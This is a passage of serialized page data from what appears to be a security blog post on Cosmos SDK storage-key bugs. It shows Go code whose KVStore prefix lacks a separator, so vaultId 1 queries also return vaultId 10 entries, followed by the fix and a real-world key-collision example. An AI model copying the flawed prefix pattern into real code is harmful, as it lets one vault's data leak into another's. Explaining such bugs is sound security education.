values\n}\n",[88759],{"type":21,"tag":66,"props":88760,"children":88761},{"__ignoreMap":7},[88762,88778,88793,88842,88894,88923,88935,88981,88988,89034,89089,89096,89160,89221,89244,89263,89270,89277,89337,89396,89419,89438,89445,89452,89505,89553,89560,89567,89607,89636,89643,89650,89662],{"type":21,"tag":85,"props":88763,"children":88764},{"class":87,"line":88},[88765,88769,88774],{"type":21,"tag":85,"props":88766,"children":88767},{"style":102},[88768],{"type":26,"value":76762},{"type":21,"tag":85,"props":88770,"children":88771},{"style":1021},[88772],{"type":26,"value":88773}," FetchPositionMapWithVaultId",{"type":21,"tag":85,"props":88775,"children":88776},{"style":114},[88777],{"type":26,"value":1029},{"type":21,"tag":85,"props":88779,"children":88780},{"class":87,"line":98},[88781,88785,88789],{"type":21,"tag":85,"props":88782,"children":88783},{"style":120},[88784],{"type":26,"value":85709},{"type":21,"tag":85,"props":88786,"children":88787},{"style":108},[88788],{"type":26,"value":76883},{"type":21,"tag":85,"props":88790,"children":88791},{"style":114},[88792],{"type":26,"value":182},{"type":21,"tag":85,"props":88794,"children":88795},{"class":87,"line":151},[88796,88801,88805,88809,88813,88817,88821,88825,88829,88833,88838],{"type":21,"tag":85,"props":88797,"children":88798},{"style":114},[88799],{"type":26,"value":88800},") ([]",{"type":21,"tag":85,"props":88802,"children":88803},{"style":102},[88804],{"type":26,"value":67561},{"type":21,"tag":85,"props":88806,"children":88807},{"style":114},[88808],{"type":26,"value":3016},{"type":21,"tag":85,"props":88810,"children":88811},{"style":108},[88812],{"type":26,"value":85614},{"type":21,"tag":85,"props":88814,"children":88815},{"style":114},[88816],{"type":26,"value":15830},{"type":21,"tag":85,"props":88818,"children":88819},{"style":102},[88820],{"type":26,"value":67561},{"type":21,"tag":85,"props":88822,"children":88823},{"style":114},[88824],{"type":26,"value":3016},{"type":21,"tag":85,"props":88826,"children":88827},{"style":108},[88828],{"type":26,"value":85631},{"type":21,"tag":85,"props":88830,"children":88831},{"style":114},[88832],{"type":26,"value":15830},{"type":21,"tag":85,"props":88834,"children":88835},{"style":108},[88836],{"type":26,"value":88837},"Position",{"type":21,"tag":85,"props":88839,"children":88840},{"style":114},[88841],{"type":26,"value":15222},{"type":21,"tag":85,"props":88843,"children":88844},{"class":87,"line":160},[88845,88850,88854,88858,88862,88866,88870,88874,88878,88882,88886,88890],{"type":21,"tag":85,"props":88846,"children":88847},{"style":120},[88848],{"type":26,"value":88849},"    values",{"type":21,"tag":85,"props":88851,"children":88852},{"style":169},[88853],{"type":26,"value":76878},{"type":21,"tag":85,"props":88855,"children":88856},{"style":102},[88857],{"type":26,"value":50124},{"type":21,"tag":85,"props":88859,"children":88860},{"style":114},[88861],{"type":26,"value":3016},{"type":21,"tag":85,"props":88863,"children":88864},{"style":108},[88865],{"type":26,"value":85614},{"type":21,"tag":85,"props":88867,"children":88868},{"style":114},[88869],{"type":26,"value":15830},{"type":21,"tag":85,"props":88871,"children":88872},{"style":102},[88873],{"type":26,"value":67561},{"type":21,"tag":85,"props":88875,"children":88876},{"style":114},[88877],{"type":26,"value":3016},{"type":21,"tag":85,"props":88879,"children":88880},{"style":108},[88881],{"type":26,"value":85631},{"type":21,"tag":85,"props":88883,"children":88884},{"style":114},[88885],{"type":26,"value":15830},{"type":21,"tag":85,"props":88887,"children":88888},{"style":108},[88889],{"type":26,"value":88837},{"type":21,"tag":85,"props":88891,"children":88892},{"style":114},[88893],{"type":26,"value":78559},{"type":21,"tag":85,"props":88895,"children":88896},{"class":87,"line":185},[88897,88902,88906,88910,88914,88919],{"type":21,"tag":85,"props":88898,"children":88899},{"style":120},[88900],{"type":26,"value":88901},"    i",{"type":21,"tag":85,"props":88903,"children":88904},{"style":169},[88905],{"type":26,"value":76878},{"type":21,"tag":85,"props":88907,"children":88908},{"style":120},[88909],{"type":26,"value":79103},{"type":21,"tag":85,"props":88911,"children":88912},{"style":114},[88913],{"type":26,"value":73},{"type":21,"tag":85,"props":88915,"children":88916},{"style":1021},[88917],{"type":26,"value":88918},"KVStorePrefixIterator",{"type":21,"tag":85,"props":88920,"children":88921},{"style":114},[88922],{"type":26,"value":1029},{"type":21,"tag":85,"props":88924,"children":88925},{"class":87,"line":501},[88926,88931],{"type":21,"tag":85,"props":88927,"children":88928},{"style":120},[88929],{"type":26,"value":88930},"        kvStore",{"type":21,"tag":85,"props":88932,"children":88933},{"style":114},[88934],{"type":26,"value":182},{"type":21,"tag":85,"props":88936,"children":88937},{"class":87,"line":697},[88938,88943,88947,88951,88955,88960,88964,88969,88973,88977],{"type":21,"tag":85,"props":88939,"children":88940},{"style":120},[88941],{"type":26,"value":88942},"        fmt",{"type":21,"tag":85,"props":88944,"children":88945},{"style":114},[88946],{"type":26,"value":73},{"type":21,"tag":85,"props":88948,"children":88949},{"style":1021},[88950],{"type":26,"value":85685},{"type":21,"tag":85,"props":88952,"children":88953},{"style":114},[88954],{"type":26,"value":1439},{"type":21,"tag":85,"props":88956,"children":88957},{"style":5026},[88958],{"type":26,"value":88959},"\"%s%d\"",{"type":21,"tag":85,"props":88961,"children":88962},{"style":114},[88963],{"type":26,"value":256},{"type":21,"tag":85,"props":88965,"children":88966},{"style":120},[88967],{"type":26,"value":88968},"PositionMapPrefix",{"type":21,"tag":85,"props":88970,"children":88971},{"style":114},[88972],{"type":26,"value":256},{"type":21,"tag":85,"props":88974,"children":88975},{"style":120},[88976],{"type":26,"value":88753},{"type":21,"tag":85,"props":88978,"children":88979},{"style":114},[88980],{"type":26,"value":2485},{"type":21,"tag":85,"props":88982,"children":88983},{"class":87,"line":706},[88984],{"type":21,"tag":85,"props":88985,"children":88986},{"style":114},[88987],{"type":26,"value":24359},{"type":21,"tag":85,"props":88989,"children":88990},{"class":87,"line":1100},[88991,88995,89000,89004,89008,89013,89017,89021,89025,89030],{"type":21,"tag":85,"props":88992,"children":88993},{"style":2885},[88994],{"type":26,"value":3809},{"type":21,"tag":85,"props":88996,"children":88997},{"style":114},[88998],{"type":26,"value":88999}," ; ",{"type":21,"tag":85,"props":89001,"children":89002},{"style":120},[89003],{"type":26,"value":3003},{"type":21,"tag":85,"props":89005,"children":89006},{"style":114},[89007],{"type":26,"value":73},{"type":21,"tag":85,"props":89009,"children":89010},{"style":1021},[89011],{"type":26,"value":89012},"Valid",{"type":21,"tag":85,"props":89014,"children":89015},{"style":114},[89016],{"type":26,"value":28890},{"type":21,"tag":85,"props":89018,"children":89019},{"style":120},[89020],{"type":26,"value":3003},{"type":21,"tag":85,"props":89022,"children":89023},{"style":114},[89024],{"type":26,"value":73},{"type":21,"tag":85,"props":89026,"children":89027},{"style":1021},[89028],{"type":26,"value":89029},"Next",{"type":21,"tag":85,"props":89031,"children":89032},{"style":114},[89033],{"type":26,"value":16156},{"type":21,"tag":85,"props":89035,"children":89036},{"class":87,"line":1339},[89037,89042,89046,89051,89055,89059,89063,89067,89071,89076,89080,89085],{"type":21,"tag":85,"props":89038,"children":89039},{"style":120},[89040],{"type":26,"value":89041},"        k",{"type":21,"tag":85,"props":89043,"children":89044},{"style":169},[89045],{"type":26,"value":76878},{"type":21,"tag":85,"props":89047,"children":89048},{"style":120},[89049],{"type":26,"value":89050}," strings",{"type":21,"tag":85,"props":89052,"children":89053},{"style":114},[89054],{"type":26,"value":73},{"type":21,"tag":85,"props":89056,"children":89057},{"style":1021},[89058],{"type":26,"value":70502},{"type":21,"tag":85,"props":89060,"children":89061},{"style":114},[89062],{"type":26,"value":1439},{"type":21,"tag":85,"props":89064,"children":89065},{"style":120},[89066],{"type":26,"value":3003},{"type":21,"tag":85,"props":89068,"children":89069},{"style":114},[89070],{"type":26,"value":73},{"type":21,"tag":85,"props":89072,"children":89073},{"style":1021},[89074],{"type":26,"value":89075},"Key",{"type":21,"tag":85,"props":89077,"children":89078},{"style":114},[89079],{"type":26,"value":18799},{"type":21,"tag":85,"props":89081,"children":89082},{"style":120},[89083],{"type":26,"value":89084},"Seperator",{"type":21,"tag":85,"props":89086,"children":89087},{"style":114},[89088],{"type":26,"value":2485},{"type":21,"tag":85,"props":89090,"children":89091},{"class":87,"line":1348},[89092],{"type":21,"tag":85,"props":89093,"children":89094},{"emptyLinePlaceholder":16},[89095],{"type":26,"value":703},{"type":21,"tag":85,"props":89097,"children":89098},{"class":87,"line":1386},[89099,89104,89108,89112,89117,89121,89125,89129,89133,89138,89142,89147,89151,89155],{"type":21,"tag":85,"props":89100,"children":89101},{"style":120},[89102],{"type":26,"value":89103},"        username",{"type":21,"tag":85,"props":89105,"children":89106},{"style":169},[89107],{"type":26,"value":76878},{"type":21,"tag":85,"props":89109,"children":89110},{"style":1021},[89111],{"type":26,"value":86026},{"type":21,"tag":85,"props":89113,"children":89114},{"style":114},[89115],{"type":26,"value":89116},"([]",{"type":21,"tag":85,"props":89118,"children":89119},{"style":108},[89120],{"type":26,"value":85227},{"type":21,"tag":85,"props":89122,"children":89123},{"style":114},[89124],{"type":26,"value":256},{"type":21,"tag":85,"props":89126,"children":89127},{"style":120},[89128],{"type":26,"value":86099},{"type":21,"tag":85,"props":89130,"children":89131},{"style":114},[89132],{"type":26,"value":73},{"type":21,"tag":85,"props":89134,"children":89135},{"style":1021},[89136],{"type":26,"value":89137},"DecodedLen",{"type":21,"tag":85,"props":89139,"children":89140},{"style":114},[89141],{"type":26,"value":1439},{"type":21,"tag":85,"props":89143,"children":89144},{"style":120},[89145],{"type":26,"value":89146},"k",{"type":21,"tag":85,"props":89148,"children":89149},{"style":114},[89150],{"type":26,"value":3016},{"type":21,"tag":85,"props":89152,"children":89153},{"style":2285},[89154],{"type":26,"value":4789},{"type":21,"tag":85,"props":89156,"children":89157},{"style":114},[89158],{"type":26,"value":89159},"]))\n",{"type":21,"tag":85,"props":89161,"children":89162},{"class":87,"line":1394},[89163,89167,89171,89175,89179,89184,89188,89193,89197,89201,89205,89209,89213,89217],{"type":21,"tag":85,"props":89164,"children":89165},{"style":120},[89166],{"type":26,"value":28189},{"type":21,"tag":85,"props":89168,"children":89169},{"style":114},[89170],{"type":26,"value":256},{"type":21,"tag":85,"props":89172,"children":89173},{"style":120},[89174],{"type":26,"value":48875},{"type":21,"tag":85,"props":89176,"children":89177},{"style":169},[89178],{"type":26,"value":76878},{"type":21,"tag":85,"props":89180,"children":89181},{"style":120},[89182],{"type":26,"value":89183}," hex",{"type":21,"tag":85,"props":89185,"children":89186},{"style":114},[89187],{"type":26,"value":73},{"type":21,"tag":85,"props":89189,"children":89190},{"style":1021},[89191],{"type":26,"value":89192},"Decode",{"type":21,"tag":85,"props":89194,"children":89195},{"style":114},[89196],{"type":26,"value":1439},{"type":21,"tag":85,"props":89198,"children":89199},{"style":120},[89200],{"type":26,"value":85933},{"type":21,"tag":85,"props":89202,"children":89203},{"style":114},[89204],{"type":26,"value":256},{"type":21,"tag":85,"props":89206,"children":89207},{"style":120},[89208],{"type":26,"value":89146},{"type":21,"tag":85,"props":89210,"children":89211},{"style":114},[89212],{"type":26,"value":3016},{"type":21,"tag":85,"props":89214,"children":89215},{"style":2285},[89216],{"type":26,"value":4789},{"type":21,"tag":85,"props":89218,"children":89219},{"style":114},[89220],{"type":26,"value":55897},{"type":21,"tag":85,"props":89222,"children":89223},{"class":87,"line":1402},[89224,89228,89232,89236,89240],{"type":21,"tag":85,"props":89225,"children":89226},{"style":2885},[89227],{"type":26,"value":4044},{"type":21,"tag":85,"props":89229,"children":89230},{"style":120},[89231],{"type":26,"value":48976},{"type":21,"tag":85,"props":89233,"children":89234},{"style":169},[89235],{"type":26,"value":64845},{"type":21,"tag":85,"props":89237,"children":89238},{"style":102},[89239],{"type":26,"value":82380},{"type":21,"tag":85,"props":89241,"children":89242},{"style":114},[89243],{"type":26,"value":148},{"type":21,"tag":85,"props":89245,"children":89246},{"class":87,"line":3145},[89247,89251,89255,89259],{"type":21,"tag":85,"props":89248,"children":89249},{"style":2885},[89250],{"type":26,"value":79538},{"type":21,"tag":85,"props":89252,"children":89253},{"style":102},[89254],{"type":26,"value":82380},{"type":21,"tag":85,"props":89256,"children":89257},{"style":114},[89258],{"type":26,"value":256},{"type":21,"tag":85,"props":89260,"children":89261},{"style":120},[89262],{"type":26,"value":84101},{"type":21,"tag":85,"props":89264,"children":89265},{"class":87,"line":3246},[89266],{"type":21,"tag":85,"props":89267,"children":89268},{"style":114},[89269],{"type":26,"value":4118},{"type":21,"tag":85,"props":89271,"children":89272},{"class":87,"line":3255},[89273],{"type":21,"tag":85,"props":89274,"children":89275},{"emptyLinePlaceholder":16},[89276],{"type":26,"value":703},{"type":21,"tag":85,"props":89278,"children":89279},{"class":87,"line":3286},[89280,89285,89289,89293,89297,89301,89305,89309,89313,89317,89321,89325,89329,89333],{"type":21,"tag":85,"props":89281,"children":89282},{"style":120},[89283],{"type":26,"value":89284},"        positionName",{"type":21,"tag":85,"props":89286,"children":89287},{"style":169},[89288],{"type":26,"value":76878},{"type":21,"tag":85,"props":89290,"children":89291},{"style":1021},[89292],{"type":26,"value":86026},{"type":21,"tag":85,"props":89294,"children":89295},{"style":114},[89296],{"type":26,"value":89116},{"type":21,"tag":85,"props":89298,"children":89299},{"style":108},[89300],{"type":26,"value":85227},{"type":21,"tag":85,"props":89302,"children":89303},{"style":114},[89304],{"type":26,"value":256},{"type":21,"tag":85,"props":89306,"children":89307},{"style":120},[89308],{"type":26,"value":86099},{"type":21,"tag":85,"props":89310,"children":89311},{"style":114},[89312],{"type":26,"value":73},{"type":21,"tag":85,"props":89314,"children":89315},{"style":1021},[89316],{"type":26,"value":89137},{"type":21,"tag":85,"props":89318,"children":89319},{"style":114},[89320],{"type":26,"value":1439},{"type":21,"tag":85,"props":89322,"children":89323},{"style":120},[89324],{"type":26,"value":89146},{"type":21,"tag":85,"props":89326,"children":89327},{"style":114},[89328],{"type":26,"value":3016},{"type":21,"tag":85,"props":89330,"children":89331},{"style":2285},[89332],{"type":26,"value":4779},{"type":21,"tag":85,"props":89334,"children":89335},{"style":114},[89336],{"type":26,"value":89159},{"type":21,"tag":85,"props":89338,"children":89339},{"class":87,"line":3295},[89340,89344,89348,89352,89356,89360,89364,89368,89372,89376,89380,89384,89388,89392],{"type":21,"tag":85,"props":89341,"children":89342},{"style":120},[89343],{"type":26,"value":28189},{"type":21,"tag":85,"props":89345,"children":89346},{"style":114},[89347],{"type":26,"value":256},{"type":21,"tag":85,"props":89349,"children":89350},{"style":120},[89351],{"type":26,"value":48875},{"type":21,"tag":85,"props":89353,"children":89354},{"style":169},[89355],{"type":26,"value":76878},{"type":21,"tag":85,"props":89357,"children":89358},{"style":120},[89359],{"type":26,"value":89183},{"type":21,"tag":85,"props":89361,"children":89362},{"style":114},[89363],{"type":26,"value":73},{"type":21,"tag":85,"props":89365,"children":89366},{"style":1021},[89367],{"type":26,"value":89192},{"type":21,"tag":85,"props":89369,"children":89370},{"style":114},[89371],{"type":26,"value":1439},{"type":21,"tag":85,"props":89373,"children":89374},{"style":120},[89375],{"type":26,"value":86202},{"type":21,"tag":85,"props":89377,"children":89378},{"style":114},[89379],{"type":26,"value":256},{"type":21,"tag":85,"props":89381,"children":89382},{"style":120},[89383],{"type":26,"value":89146},{"type":21,"tag":85,"props":89385,"children":89386},{"style":114},[89387],{"type":26,"value":3016},{"type":21,"tag":85,"props":89389,"children":89390},{"style":2285},[89391],{"type":26,"value":4779},{"type":21,"tag":85,"props":89393,"children":89394},{"style":114},[89395],{"type":26,"value":55897},{"type":21,"tag":85,"props":89397,"children":89398},{"class":87,"line":3308},[89399,89403,89407,89411,89415],{"type":21,"tag":85,"props":89400,"children":89401},{"style":2885},[89402],{"type":26,"value":4044},{"type":21,"tag":85,"props":89404,"children":89405},{"style":120},[89406],{"type":26,"value":48976},{"type":21,"tag":85,"props":89408,"children":89409},{"style":169},[89410],{"type":26,"value":64845},{"type":21,"tag":85,"props":89412,"children":89413},{"style":102},[89414],{"type":26,"value":82380},{"type":21,"tag":85,"props":89416,"children":89417},{"style":114},[89418],{"type":26,"value":148},{"type":21,"tag":85,"props":89420,"children":89421},{"class":87,"line":3333},[89422,89426,89430,89434],{"type":21,"tag":85,"props":89423,"children":89424},{"style":2885},[89425],{"type":26,"value":79538},{"type":21,"tag":85,"props":89427,"children":89428},{"style":102},[89429],{"type":26,"value":82380},{"type":21,"tag":85,"props":89431,"children":89432},{"style":114},[89433],{"type":26,"value":256},{"type":21,"tag":85,"props":89435,"children":89436},{"style":120},[89437],{"type":26,"value":84101},{"type":21,"tag":85,"props":89439,"children":89440},{"class":87,"line":3369},[89441],{"type":21,"tag":85,"props":89442,"children":89443},{"style":114},[89444],{"type":26,"value":4118},{"type":21,"tag":85,"props":89446,"children":89447},{"class":87,"line":3377},[89448],{"type":21,"tag":85,"props":89449,"children":89450},{"emptyLinePlaceholder":16},[89451],{"type":26,"value":703},{"type":21,"tag":85,"props":89453,"children":89454},{"class":87,"line":3386},[89455,89459,89463,89467,89471,89475,89480,89484,89488,89493,89497,89501],{"type":21,"tag":85,"props":89456,"children":89457},{"style":2885},[89458],{"type":26,"value":4044},{"type":21,"tag":85,"props":89460,"children":89461},{"style":120},[89462],{"type":26,"value":63100},{"type":21,"tag":85,"props":89464,"children":89465},{"style":114},[89466],{"type":26,"value":256},{"type":21,"tag":85,"props":89468,"children":89469},{"style":120},[89470],{"type":26,"value":79229},{"type":21,"tag":85,"props":89472,"children":89473},{"style":169},[89474],{"type":26,"value":76878},{"type":21,"tag":85,"props":89476,"children":89477},{"style":120},[89478],{"type":26,"value":89479}," values",{"type":21,"tag":85,"props":89481,"children":89482},{"style":114},[89483],{"type":26,"value":3016},{"type":21,"tag":85,"props":89485,"children":89486},{"style":120},[89487],{"type":26,"value":85933},{"type":21,"tag":85,"props":89489,"children":89490},{"style":114},[89491],{"type":26,"value":89492},"]; ",{"type":21,"tag":85,"props":89494,"children":89495},{"style":169},[89496],{"type":26,"value":21049},{"type":21,"tag":85,"props":89498,"children":89499},{"style":120},[89500],{"type":26,"value":79229},{"type":21,"tag":85,"props":89502,"children":89503},{"style":114},[89504],{"type":26,"value":148},{"type":21,"tag":85,"props":89506,"children":89507},{"class":87,"line":3394},[89508,89513,89517,89521,89525,89529,89533,89537,89541,89545,89549],{"type":21,"tag":85,"props":89509,"children":89510},{"style":120},[89511],{"type":26,"value":89512},"            values",{"type":21,"tag":85,"props":89514,"children":89515},{"style":114},[89516],{"type":26,"value":3016},{"type":21,"tag":85,"props":89518,"children":89519},{"style":120},[89520],{"type":26,"value":85933},{"type":21,"tag":85,"props":89522,"children":89523},{"style":114},[89524],{"type":26,"value":3026},{"type":21,"tag":85,"props":89526,"children":89527},{"style":169},[89528],{"type":26,"value":741},{"type":21,"tag":85,"props":89530,"children":89531},{"style":1021},[89532],{"type":26,"value":86026},{"type":21,"tag":85,"props":89534,"children":89535},{"style":114},[89536],{"type":26,"value":1439},{"type":21,"tag":85,"props":89538,"children":89539},{"style":102},[89540],{"type":26,"value":67561},{"type":21,"tag":85,"props":89542,"children":89543},{"style":114},[89544],{"type":26,"value":3016},{"type":21,"tag":85,"props":89546,"children":89547},{"style":108},[89548],{"type":26,"value":85631},{"type":21,"tag":85,"props":89550,"children":89551},{"style":114},[89552],{"type":26,"value":55897},{"type":21,"tag":85,"props":89554,"children":89555},{"class":87,"line":3410},[89556],{"type":21,"tag":85,"props":89557,"children":89558},{"style":114},[89559],{"type":26,"value":4118},{"type":21,"tag":85,"props":89561,"children":89562},{"class":87,"line":3427},[89563],{"type":21,"tag":85,"props":89564,"children":89565},{"emptyLinePlaceholder":16},[89566],{"type":26,"value":703},{"type":21,"tag":85,"props":89568,"children":89569},{"class":87,"line":3445},[89570,89575,89579,89583,89587,89591,89595,89599,89603],{"type":21,"tag":85,"props":89571,"children":89572},{"style":120},[89573],{"type":26,"value":89574},"        values",{"type":21,"tag":85,"props":89576,"children":89577},{"style":114},[89578],{"type":26,"value":3016},{"type":21,"tag":85,"props":89580,"children":89581},{"style":120},[89582],{"type":26,"value":85933},{"type":21,"tag":85,"props":89584,"children":89585},{"style":114},[89586],{"type":26,"value":49413},{"type":21,"tag":85,"props":89588,"children":89589},{"style":120},[89590],{"type":26,"value":86202},{"type":21,"tag":85,"props":89592,"children":89593},{"style":114},[89594],{"type":26,"value":3026},{"type":21,"tag":85,"props":89596,"children":89597},{"style":169},[89598],{"type":26,"value":741},{"type":21,"tag":85,"props":89600,"children":89601},{"style":120},[89602],{"type":26,"value":1771},{"type":21,"tag":85,"props":89604,"children":89605},{"style":114},[89606],{"type":26,"value":148},{"type":21,"tag":85,"props":89608,"children":89609},{"class":87,"line":3490},[89610,89614,89618,89623,89627,89632],{"type":21,"tag":85,"props":89611,"children":89612},{"style":120},[89613],{"type":26,"value":27392},{"type":21,"tag":85,"props":89615,"children":89616},{"style":114},[89617],{"type":26,"value":15750},{"type":21,"tag":85,"props":89619,"children":89620},{"style":120},[89621],{"type":26,"value":89622},"iterator",{"type":21,"tag":85,"props":89624,"children":89625},{"style":114},[89626],{"type":26,"value":73},{"type":21,"tag":85,"props":89628,"children":89629},{"style":1021},[89630],{"type":26,"value":89631},"Value",{"type":21,"tag":85,"props":89633,"children":89634},{"style":114},[89635],{"type":26,"value":4258},{"type":21,"tag":85,"props":89637,"children":89638},{"class":87,"line":3596},[89639],{"type":21,"tag":85,"props":89640,"children":89641},{"style":114},[89642],{"type":26,"value":4118},{"type":21,"tag":85,"props":89644,"children":89645},{"class":87,"line":23938},[89646],{"type":21,"tag":85,"props":89647,"children":89648},{"style":114},[89649],{"type":26,"value":507},{"type":21,"tag":85,"props":89651,"children":89652},{"class":87,"line":23973},[89653,89657],{"type":21,"tag":85,"props":89654,"children":89655},{"style":2885},[89656],{"type":26,"value":17411},{"type":21,"tag":85,"props":89658,"children":89659},{"style":120},[89660],{"type":26,"value":89661}," values\n",{"type":21,"tag":85,"props":89663,"children":89664},{"class":87,"line":23981},[89665],{"type":21,"tag":85,"props":89666,"children":89667},{"style":114},[89668],{"type":26,"value":2671},{"type":21,"tag":22,"props":89670,"children":89671},{},[89672,89674,89680,89681,89687,89689,89694,89696,89701,89703,89708,89710,89716,89718,89724],{"type":26,"value":89673},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":21,"tag":66,"props":89675,"children":89677},{"className":89676},[],[89678],{"type":26,"value":89679},"vaultId = 1",{"type":26,"value":11408},{"type":21,"tag":66,"props":89682,"children":89684},{"className":89683},[],[89685],{"type":26,"value":89686},"vaultId = 10",{"type":26,"value":89688}," coexist. If we try to fetch data under ",{"type":21,"tag":66,"props":89690,"children":89692},{"className":89691},[],[89693],{"type":26,"value":89679},{"type":26,"value":89695},", all entries under ",{"type":21,"tag":66,"props":89697,"children":89699},{"className":89698},[],[89700],{"type":26,"value":89686},{"type":26,"value":89702}," will also be returned simply because ",{"type":21,"tag":66,"props":89704,"children":89706},{"className":89705},[],[89707],{"type":26,"value":4779},{"type":26,"value":89709}," is a prefix of ",{"type":21,"tag":66,"props":89711,"children":89713},{"className":89712},[],[89714],{"type":26,"value":89715},"10",{"type":26,"value":89717},". To fix this, we must once again append the ",{"type":21,"tag":66,"props":89719,"children":89721},{"className":89720},[],[89722],{"type":26,"value":89723},"Separator",{"type":26,"value":89725}," to the iterator prefix.",{"type":21,"tag":75,"props":89727,"children":89729},{"code":89728,"language":76626,"meta":7,"className":76627,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[89730],{"type":21,"tag":66,"props":89731,"children":89732},{"__ignoreMap":7},[89733,89760,89772,89825],{"type":21,"tag":85,"props":89734,"children":89735},{"class":87,"line":88},[89736,89740,89744,89748,89752,89756],{"type":21,"tag":85,"props":89737,"children":89738},{"style":120},[89739],{"type":26,"value":3003},{"type":21,"tag":85,"props":89741,"children":89742},{"style":169},[89743],{"type":26,"value":76878},{"type":21,"tag":85,"props":89745,"children":89746},{"style":120},[89747],{"type":26,"value":79103},{"type":21,"tag":85,"props":89749,"children":89750},{"style":114},[89751],{"type":26,"value":73},{"type":21,"tag":85,"props":89753,"children":89754},{"style":1021},[89755],{"type":26,"value":88918},{"type":21,"tag":85,"props":89757,"children":89758},{"style":114},[89759],{"type":26,"value":1029},{"type":21,"tag":85,"props":89761,"children":89762},{"class":87,"line":98},[89763,89768],{"type":21,"tag":85,"props":89764,"children":89765},{"style":120},[89766],{"type":26,"value":89767},"    kvStore",{"type":21,"tag":85,"props":89769,"children":89770},{"style":114},[89771],{"type":26,"value":182},{"type":21,"tag":85,"props":89773,"children":89774},{"class":87,"line":151},[89775,89780,89784,89788,89792,89797,89801,89805,89809,89813,89817,89821],{"type":21,"tag":85,"props":89776,"children":89777},{"style":120},[89778],{"type":26,"value":89779},"    fmt",{"type":21,"tag":85,"props":89781,"children":89782},{"style":114},[89783],{"type":26,"value":73},{"type":21,"tag":85,"props":89785,"children":89786},{"style":1021},[89787],{"type":26,"value":85685},{"type":21,"tag":85,"props":89789,"children":89790},{"style":114},[89791],{"type":26,"value":1439},{"type":21,"tag":85,"props":89793,"children":89794},{"style":5026},[89795],{"type":26,"value":89796},"\"%s%d%s\"",{"type":21,"tag":85,"props":89798,"children":89799},{"style":114},[89800],{"type":26,"value":256},{"type":21,"tag":85,"props":89802,"children":89803},{"style":120},[89804],{"type":26,"value":88968},{"type":21,"tag":85,"props":89806,"children":89807},{"style":114},[89808],{"type":26,"value":256},{"type":21,"tag":85,"props":89810,"children":89811},{"style":120},[89812],{"type":26,"value":88753},{"type":21,"tag":85,"props":89814,"children":89815},{"style":114},[89816],{"type":26,"value":256},{"type":21,"tag":85,"props":89818,"children":89819},{"style":120},[89820],{"type":26,"value":89084},{"type":21,"tag":85,"props":89822,"children":89823},{"style":114},[89824],{"type":26,"value":1074},{"type":21,"tag":85,"props":89826,"children":89827},{"class":87,"line":160},[89828],{"type":21,"tag":85,"props":89829,"children":89830},{"style":114},[89831],{"type":26,"value":2485},{"type":21,"tag":22,"props":89833,"children":89834},{},[89835,89837,89842],{"type":26,"value":89836},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":21,"tag":66,"props":89838,"children":89840},{"className":89839},[],[89841],{"type":26,"value":85439},{"type":26,"value":89843}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":21,"tag":22,"props":89845,"children":89846},{},[89847],{"type":26,"value":89848},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":21,"tag":10022,"props":89850,"children":89852},{"id":89851},"real-world-examples-5",[89853],{"type":26,"value":77151},{"type":21,"tag":22,"props":89855,"children":89856},{},[89857,89858,89863,89865,89872,89874,89880],{"type":26,"value":17034},{"type":21,"tag":66,"props":89859,"children":89861},{"className":89860},[],[89862],{"type":26,"value":78924},{"type":26,"value":89864}," previously lacked protection against KVStore ",{"type":21,"tag":335,"props":89866,"children":89869},{"href":89867,"rel":89868},"https://github.com/cosmos/cosmos-sdk/pull/9363",[339],[89870],{"type":26,"value":89871},"key collisions",{"type":26,"value":89873},". This prior oversight allowed developers to unintentionally create two ",{"type":21,"tag":66,"props":89875,"children":89877},{"className":89876},[],[89878],{"type":26,"value":89879},"KVStores",{"type":26,"value":89881}," that were not independent of each other.",{"type":21,"tag":22,"props":89883,"children":89884},{},[89885],{"type":21,"tag":335,"props":89886,"children":89889},{"href":89887,"rel":89888},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[339],[89890],{"type":26,"value":77201},{"type":21,"tag":75,"props":89892,"children":89894},{"code":89893,"language":76626,"meta":7,"className":76627,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[89895],{"type":21,"tag":66,"props":89896,"children":89897},{"__ignoreMap":7},[89898,89960,90008,90044,90084,90091,90098,90110],{"type":21,"tag":85,"props":89899,"children":89900},{"class":87,"line":88},[89901,89905,89910,89914,89919,89923,89927,89931,89935,89939,89943,89947,89951,89956],{"type":21,"tag":85,"props":89902,"children":89903},{"style":102},[89904],{"type":26,"value":76762},{"type":21,"tag":85,"props":89906,"children":89907},{"style":1021},[89908],{"type":26,"value":89909}," NewKVStoreKeys",{"type":21,"tag":85,"props":89911,"children":89912},{"style":114},[89913],{"type":26,"value":1439},{"type":21,"tag":85,"props":89915,"children":89916},{"style":120},[89917],{"type":26,"value":89918},"names",{"type":21,"tag":85,"props":89920,"children":89921},{"style":169},[89922],{"type":26,"value":25740},{"type":21,"tag":85,"props":89924,"children":89925},{"style":108},[89926],{"type":26,"value":30110},{"type":21,"tag":85,"props":89928,"children":89929},{"style":114},[89930],{"type":26,"value":736},{"type":21,"tag":85,"props":89932,"children":89933},{"style":102},[89934],{"type":26,"value":67561},{"type":21,"tag":85,"props":89936,"children":89937},{"style":114},[89938],{"type":26,"value":3016},{"type":21,"tag":85,"props":89940,"children":89941},{"style":108},[89942],{"type":26,"value":30110},{"type":21,"tag":85,"props":89944,"children":89945},{"style":114},[89946],{"type":26,"value":15830},{"type":21,"tag":85,"props":89948,"children":89949},{"style":169},[89950],{"type":26,"value":3052},{"type":21,"tag":85,"props":89952,"children":89953},{"style":108},[89954],{"type":26,"value":89955},"KVStoreKey",{"type":21,"tag":85,"props":89957,"children":89958},{"style":114},[89959],{"type":26,"value":148},{"type":21,"tag":85,"props":89961,"children":89962},{"class":87,"line":98},[89963,89968,89972,89976,89980,89984,89988,89992,89996,90000,90004],{"type":21,"tag":85,"props":89964,"children":89965},{"style":120},[89966],{"type":26,"value":8996